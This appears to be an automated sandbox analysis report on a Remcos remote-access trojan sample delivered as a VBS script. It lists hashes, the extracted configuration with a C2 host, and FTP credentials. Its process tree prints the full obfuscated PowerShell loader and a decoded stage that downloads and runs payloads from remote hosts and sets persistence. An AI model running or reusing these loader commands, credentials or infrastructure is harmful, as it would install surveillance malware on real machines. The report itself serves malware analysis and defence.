remcos | 4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b

General

Target

20092024_0206_AT000005112563923.vbs
Size

561KB
MD5

e5d5bfe30179b640a80ae3cc1640e486
SHA1

5c5a868d8b688884b8a47deb61a3ee9ca08fbdd4
SHA256

4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b
SHA512

cae7eac6bf7106bb663c042f1ea77393a62b6ec9555667e07736997fc69f219fa83b30fcaf1c93a4a1a300879ec0fe33aa8cdc22d303f795f36dc285639f488b
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFp:vSe

Score

10^/10

remcos grace defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

remcos

Botnet

Grace

C2

severdops.ddns.net:7717

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-P28XIL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 7 IoCs

flow	pid	Process
13	3476	powershell.exe
16	3476	powershell.exe
18	3476	powershell.exe
20	3476	powershell.exe
22	3476	powershell.exe
24	3476	powershell.exe
26	1732	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_s = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\nalki.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1460	powershell.exe
1732	powershell.exe
3404	powershell.exe
3476	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	pastebin.com
26	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1732 set thread context of 3428	1732	powershell.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3404	powershell.exe
3404	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe
1460	powershell.exe
1460	powershell.exe
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe
1732	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3428	RegAsm.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 3404	2460	WScript.exe	82
PID 2460 wrote to memory of 3404	2460	WScript.exe	82
PID 3404 wrote to memory of 3476	3404	powershell.exe	84
PID 3404 wrote to memory of 3476	3404	powershell.exe	84
PID 3476 wrote to memory of 3884	3476	powershell.exe	89
PID 3476 wrote to memory of 3884	3476	powershell.exe	89
PID 3476 wrote to memory of 1460	3476	powershell.exe	90
PID 3476 wrote to memory of 1460	3476	powershell.exe	90
PID 3476 wrote to memory of 1732	3476	powershell.exe	92
PID 3476 wrote to memory of 1732	3476	powershell.exe	92
PID 3476 wrote to memory of 312	3476	powershell.exe	93
PID 3476 wrote to memory of 312	3476	powershell.exe	93
PID 1732 wrote to memory of 3948	1732	powershell.exe	96
PID 1732 wrote to memory of 3948	1732	powershell.exe	96
PID 1732 wrote to memory of 3948	1732	powershell.exe	96
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97
PID 1732 wrote to memory of 3428	1732	powershell.exe	97

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGMҼмẦZҼмẦҼмẦuҼмẦHQҼмẦeҼмẦB0ҼмẦCcҼмẦIҼмẦҼмẦoҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦWwҼмẦgҼмẦCwҼмẦIҼмẦBsҼмẦGwҼмẦdQBuҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGUҼмẦawBvҼмẦHYҼмẦbgBJҼмẦC4ҼмẦKQҼмẦgҼмẦCcҼмẦSQBWҼмẦEYҼмẦcgBwҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGQҼмẦbwBoҼмẦHQҼмẦZQBNҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦnҼмẦDEҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦC4ҼмẦMwB5ҼмẦHIҼмẦYQByҼмẦGIҼмẦaQBMҼмẦHMҼмẦcwBhҼмẦGwҼмẦQwҼмẦnҼмẦCgҼмẦZQBwҼмẦHkҼмẦVҼмẦB0ҼмẦGUҼмẦRwҼмẦuҼмẦCkҼмẦIҼмẦBaҼмẦGMҼмẦQgBjҼмẦGEҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZҼмẦBhҼмẦG8ҼмẦTҼмẦҼмẦuҼмẦG4ҼмẦaQBhҼмẦG0ҼмẦbwBEҼмẦHQҼмẦbgBlҼмẦHIҼмẦcgB1ҼмẦEMҼмẦOgҼмẦ6ҼмẦF0ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦEEҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦJMhOgCTIScҼмẦIҼмẦҼмẦoҼмẦGUҼмẦYwBhҼмẦGwҼмẦcҼмẦBlҼмẦFIҼмẦLgBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwҼмẦ0ҼмẦDYҼмẦZQBzҼмẦGEҼмẦQgBtҼмẦG8ҼмẦcgBGҼмẦDoҼмẦOgBdҼмẦHQҼмẦcgBlҼмẦHYҼмẦbgBvҼмẦEMҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦZQB0ҼмẦHkҼмẦQgBbҼмẦDsҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWҼмẦBQҼмẦFUҼмẦdQBoҼмẦCQҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZwBuҼмẦGkҼмẦcgB0ҼмẦFMҼмẦZҼмẦBhҼмẦG8ҼмẦbҼмẦBuҼмẦHcҼмẦbwBEҼмẦC4ҼмẦcgB5ҼмẦGsҼмẦdҼмẦҼмẦkҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦpҼмẦCgҼмẦZQBzҼмẦG8ҼмẦcҼмẦBzҼмẦGkҼмẦZҼмẦҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHQҼмẦeҼмẦB0ҼмẦC4ҼмẦMQҼмẦwҼмẦEwҼмẦTҼмẦBEҼмẦC8ҼмẦMQҼмẦwҼмẦC8ҼмẦcgBlҼмẦHQҼмẦcҼмẦB5ҼмẦHIҼмẦYwBwҼмẦFUҼмẦLwByҼмẦGIҼмẦLgBtҼмẦG8ҼмẦYwҼмẦuҼмẦHQҼмẦYQByҼмẦGIҼмẦdgBrҼмẦGMҼмẦcwBlҼмẦGQҼмẦLgBwҼмẦHQҼмẦZgBҼмẦҼмẦDEҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦvҼмẦC8ҼмẦOgBwҼмẦHQҼмẦZgҼмẦnҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwBҼмẦҼмẦEҼмẦҼмẦcҼмẦBKҼмẦDgҼмẦNwҼмẦ1ҼмẦDEҼмẦMgBvҼмẦHIҼмẦcҼмẦByҼмẦGUҼмẦcҼмẦBvҼмẦGwҼмẦZQB2ҼмẦGUҼмẦZҼмẦҼмẦnҼмẦCwҼмẦKQҼмẦpҼмẦDkҼмẦNҼмẦҼмẦsҼмẦDYҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦ5ҼмẦCwҼмẦNҼмẦҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ4ҼмẦDkҼмẦLҼмẦҼмẦ4ҼмẦDEҼмẦMQҼмẦsҼмẦDcҼмẦMҼмẦҼмẦxҼмẦCwҼмẦOQҼмẦ5ҼмẦCwҼмẦNQҼмẦxҼмẦDEҼмẦLҼмẦҼмẦxҼмẦDҼмẦҼмẦMQҼмẦsҼмẦDҼмẦҼмẦMҼмẦҼмẦxҼмẦCgҼмẦXQBdҼмẦFsҼмẦcgBhҼмẦGgҼмẦYwBbҼмẦCҼмẦҼмẦbgBpҼмẦG8ҼмẦagҼмẦtҼмẦCgҼмẦKҼмẦBsҼмẦGEҼмẦaQB0ҼмẦG4ҼмẦZQBkҼмẦGUҼмẦcgBDҼмẦGsҼмẦcgBvҼмẦHcҼмẦdҼмẦBlҼмẦE4ҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦLQB3ҼмẦGUҼмẦbgҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦMgҼмẦxҼмẦHMҼмẦbҼмẦBUҼмẦDoҼмẦOgBdҼмẦGUҼмẦcҼмẦB5ҼмẦFQҼмẦbҼмẦBvҼмẦGMҼмẦbwB0ҼмẦG8ҼмẦcgBQҼмẦHkҼмẦdҼмẦBpҼмẦHIҼмẦdQBjҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwB9ҼмẦGUҼмẦdQByҼмẦHQҼмẦJҼмẦB7ҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGsҼмẦYwBhҼмẦGIҼмẦbҼмẦBsҼмẦGEҼмẦQwBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦZҼмẦBpҼмẦGwҼмẦYQBWҼмẦGUҼмẦdҼмẦBhҼмẦGMҼмẦaQBmҼмẦGkҼмẦdҼмẦByҼмẦGUҼмẦQwByҼмẦGUҼмẦdgByҼмẦGUҼмẦUwҼмẦ6ҼмẦDoҼмẦXQByҼмẦGUҼмẦZwBhҼмẦG4ҼмẦYQBNҼмẦHQҼмẦbgBpҼмẦG8ҼмẦUҼмẦBlҼмẦGMҼмẦaQB2ҼмẦHIҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦIҼмẦBmҼмẦC8ҼмẦIҼмẦҼмẦwҼмẦCҼмẦҼмẦdҼмẦҼмẦvҼмẦCҼмẦҼмẦcgҼмẦvҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBuҼмẦHcҼмẦbwBkҼмẦHQҼмẦdQBoҼмẦHMҼмẦIҼмẦҼмẦ7ҼмẦCcҼмẦMҼмẦҼмẦ4ҼмẦDEҼмẦIҼмẦBwҼмẦGUҼмẦZQBsҼмẦHMҼмẦJwҼмẦgҼмẦGQҼмẦbgBhҼмẦG0ҼмẦbQBvҼмẦGMҼмẦLQҼмẦgҼмẦGUҼмẦeҼмẦBlҼмẦC4ҼмẦbҼмẦBsҼмẦGUҼмẦaҼмẦBzҼмẦHIҼмẦZQB3ҼмẦG8ҼмẦcҼмẦҼмẦ7ҼмẦCҼмẦҼмẦZQBjҼмẦHIҼмẦbwBmҼмẦC0ҼмẦIҼмẦҼмẦpҼмẦCҼмẦҼмẦJwBwҼмẦHUҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwBtҼмẦGEҼмẦcgBnҼмẦG8ҼмẦcgBQҼмẦFwҼмẦdQBuҼмẦGUҼмẦTQҼмẦgҼмẦHQҼмẦcgBhҼмẦHQҼмẦUwBcҼмẦHMҼмẦdwBvҼмẦGQҼмẦbgBpҼмẦFcҼмẦXҼмẦB0ҼмẦGYҼмẦbwBzҼмẦG8ҼмẦcgBjҼмẦGkҼмẦTQBcҼмẦGcҼмẦbgBpҼмẦG0ҼмẦYQBvҼмẦFIҼмẦXҼмẦBhҼмẦHQҼмẦYQBEҼмẦHҼмẦҼмẦcҼмẦBBҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦIҼмẦBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦbgBpҼмẦHQҼмẦcwBlҼмẦEQҼмẦLQҼмẦgҼмẦCcҼмẦJQBJҼмẦGgҼмẦcQBSҼмẦFgҼмẦJQҼмẦnҼмẦCҼмẦҼмẦbQBlҼмẦHQҼмẦSQҼмẦtҼмẦHkҼмẦcҼмẦBvҼмẦEMҼмẦIҼмẦҼмẦ7ҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBzҼмẦGUҼмẦcgBvҼмẦG4ҼмẦLwҼмẦgҼмẦHQҼмẦZQBpҼмẦHUҼмẦcQҼмẦvҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBhҼмẦHMҼмẦdQB3ҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦCҼмẦҼмẦOwҼмẦpҼмẦCcҼмẦdQBzҼмẦG0ҼмẦLgBuҼмẦGkҼмẦdwBwҼмẦFUҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦE4ҼмẦSgBUҼмẦHgҼмẦRҼмẦҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦDsҼмẦKQҼмẦgҼмẦGUҼмẦbQBhҼмẦE4ҼмẦcgBlҼмẦHMҼмẦVQҼмẦ6ҼмẦDoҼмẦXQB0ҼмẦG4ҼмẦZQBtҼмẦG4ҼмẦbwByҼмẦGkҼмẦdgBuҼмẦEUҼмẦWwҼмẦgҼмẦCsҼмẦIҼмẦҼмẦnҼмẦFwҼмẦcwByҼмẦGUҼмẦcwBVҼмẦFwҼмẦOgBDҼмẦCcҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦIҼмẦҼмẦsҼмẦEIҼмẦSwBMҼмẦFIҼмẦVQҼмẦkҼмẦCgҼмẦZQBsҼмẦGkҼмẦRgBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwҼмẦpҼмẦHQҼмẦbgBlҼмẦGkҼмẦbҼмẦBDҼмẦGIҼмẦZQBXҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦTwҼмẦtҼмẦHcҼмẦZQBOҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwB9ҼмẦDsҼмẦIҼмẦҼмẦpҼмẦCcҼмẦdҼмẦBPҼмẦEwҼмẦYwBfҼмẦEsҼмẦYQҼмẦzҼмẦFoҼмẦZgBvҼмẦFgҼмẦMgBKҼмẦEoҼмẦcgBWҼмẦGgҼмẦbQBWҼмẦDkҼмẦYwBtҼмẦDkҼмẦWҼмẦBzҼмẦHUҼмẦWҼмẦBtҼмẦGoҼмẦMQBnҼмẦDEҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBvҼмẦHgҼмẦSwBVҼмẦGcҼмẦJҼмẦҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwҼмẦyҼмẦDQҼмẦdQBYҼмẦEoҼмẦVҼмẦBxҼмẦGEҼмẦbQBnҼмẦHkҼмẦTQB0ҼмẦEYҼмẦegBhҼмẦGsҼмẦUҼмẦBSҼмẦDEҼмẦcQBfҼмẦEkҼмẦdgBHҼмẦGkҼмẦWҼмẦBOҼмẦGQҼмẦcQBhҼмẦE4ҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVҼмẦGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABkAHYAbwBmAFgAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABkAHYAbwBmAFgAJAAgADsA';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$tkyr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $tkyr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$tkyr.dispose();$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $tkyr.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\20092024_0206_AT000005112563923.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.dc/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
